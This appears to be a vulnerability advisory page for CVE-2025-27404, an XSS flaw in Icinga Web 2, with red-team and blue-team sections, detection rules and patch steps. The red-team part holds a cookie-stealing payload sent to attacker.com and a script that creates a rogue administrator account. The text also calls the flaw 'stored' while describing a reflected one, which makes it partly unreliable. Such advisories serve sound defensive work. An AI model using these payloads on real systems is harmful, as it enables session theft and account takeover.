CVE-2025-27404
Executive Summary
CVE-2025-27404 is a stored cross-site scripting (XSS) vulnerability in Icinga Web 2, an open-source monitoring web interface. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This allows the attacker to perform actions on behalf of the victim, such as modifying monitoring configurations, exfiltrating sensitive data, or escalating privileges. The vulnerability affects all versions prior to 2.11.5 and 2.12.3. The CVSS score is 7.7 (High), and while the EPSS score is currently 0.0%, the risk is significant due to the potential for account takeover and lateral movement within monitored infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the Icinga Web 2 application. The fix is available via official Icinga repositories.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Base Score: 7.7 (High)
- Attack Vector: Network (AV:N) – The attacker can exploit this remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
- User Interaction: Required (UI:R) – The victim must click the crafted link.
- Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – Full disclosure of all data accessible to the victim.
- Integrity Impact: Low (I:L) – Limited modification of data is possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: High. While no public exploit exists, the vulnerability is trivial to exploit once the mechanism is understood. The ability to act on behalf of any user makes this a prime target for phishing campaigns.
Deep Dive & Mechanics
The vulnerability resides in how Icinga Web 2 handles user-supplied input in URL parameters. Specifically, the application fails to properly sanitize or encode certain parameters before rendering them in the HTML response. An attacker can inject JavaScript code into a parameter value, which is then reflected or stored and executed when the victim's browser processes the page.
Attack Flow:
- The attacker crafts a URL containing a malicious payload in a vulnerable parameter (e.g.,
?q=<script>alert(1)</script>). - The attacker sends this URL to a victim (e.g., via email, chat, or a compromised site).
- The victim, who is authenticated to Icinga Web 2, clicks the link.
- The victim's browser sends the request, and the server returns a page that includes the unsanitized payload.
- The browser executes the injected JavaScript, which now runs in the context of the victim's session.
- The attacker's script can perform any action the victim can, including fetching CSRF tokens, modifying monitoring configurations, or exfiltrating session cookies.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding for user-controlled data in the response.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In a controller or view file
$query = $_GET['q'];
echo "<div class='search-results'>You searched for: " . $query . "</div>";
Patched Code (Conceptual):
// Using a proper escaping function
$query = $_GET['q'];
echo "<div class='search-results'>You searched for: " . htmlspecialchars($query, ENT_QUOTES, 'UTF-8') . "</div>";
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection. The actual fix in Icinga Web 2 involves applying consistent output encoding across all user-facing parameters.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable Icinga Web 2 instance (version 2.12.2) using Docker:
docker run -d -p 8080:80 icinga/icingaweb2:2.12.2 - Access the web interface at
http://localhost:8080/icingaweb2. - Create a test user with monitoring permissions.
Exploitation Steps:
- Identify a vulnerable parameter. For example, the search functionality in the "Monitoring" module.
- Craft a payload to steal session cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - URL-encode the payload and append it to the vulnerable parameter:
http://localhost:8080/icingaweb2/monitoring/list/services?q=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send this link to the victim (simulated by opening it in a browser where the test user is logged in).
- The attacker's server receives the victim's session cookie, allowing session hijacking.
Advanced Payload: To perform actions on behalf of the victim, use a payload that fetches CSRF tokens and submits a form to create a new admin user:
fetch('/icingaweb2/authentication/user/create').then(r=>r.text()).then(html=>{
let token = html.match(/csrf_token" value="([^"]+)"/)[1];
fetch('/icingaweb2/authentication/user/create', {
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'csrf_token='+token+'&username=attacker&password=attacker123&role=Administrator'
});
});
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual URL patterns containing
<script>,onerror=,javascript:, or other XSS indicators. - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Immediately upgrade to Icinga Web 2 version 2.11.5 or 2.12.3.
- If upgrade is not possible, enable CSP in the application settings (for version 2.12.2):
- Navigate to Configuration → Application → Security.
- Set "Content Security Policy" to
default-src 'self'; script-src 'self'.
- Educate users about phishing attacks and the importance of not clicking suspicious links.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
<script>tags in query parameters. - Outbound connections to unknown domains from the Icinga Web server.
- Unusual POST requests to user creation or configuration endpoints.
- HTTP requests containing
Host IOCs:
- Unexpected JavaScript files in the web root (e.g.,
/usr/share/icingaweb2/public/js/malicious.js). - Modified configuration files (e.g.,
/etc/icingaweb2/resources.ini). - New user accounts in the Icinga Web authentication database.
- Unexpected JavaScript files in the web root (e.g.,
Log IOCs:
- Web server logs showing
%3Cscript%3Eor similar URL-encoded XSS patterns. - Application logs showing failed CSRF token validation (indicating automated exploitation attempts).
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_27404_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2025-27404 in Icinga Web 2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27404"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /javascript\s*:\s*/i
$xss4 = /onload\s*=\s*["']?[^"'\s>]+/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-27404 XSS Attempt in Icinga Web 2
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks targeting CVE-2025-27404 via URL parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27404 XSS Attempt in Icinga Web 2"; flow:to_server,established; content:"GET"; http_method; content:"/icingaweb2/"; http_uri; pcre:"/(<script|onerror=|javascript:|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Icinga Web 2 to version 2.11.5 or 2.12.3 immediately.
# For Debian/Ubuntu sudo apt update && sudo apt install icingaweb2=2.12.3-1 # For RHEL/CentOS sudo yum update icingaweb2-2.12.3-1 - Workaround: If upgrade is not possible, enable Content Security Policy (CSP) in Icinga Web 2.12.2:
- Go to Configuration → Application → Security.
- Set CSP to
default-src 'self'; script-src 'self'.
- WAF Rules: Deploy WAF rules to block common XSS patterns.
Long-Term Measures:
- Code Review: Conduct a security audit of all user-facing input handling.
- Input Validation: Implement strict input validation and output encoding for all user-supplied data.
- Security Training: Train developers on secure coding practices, especially regarding XSS prevention.
- Regular Updates: Establish a patch management process for all web applications.
Valters IT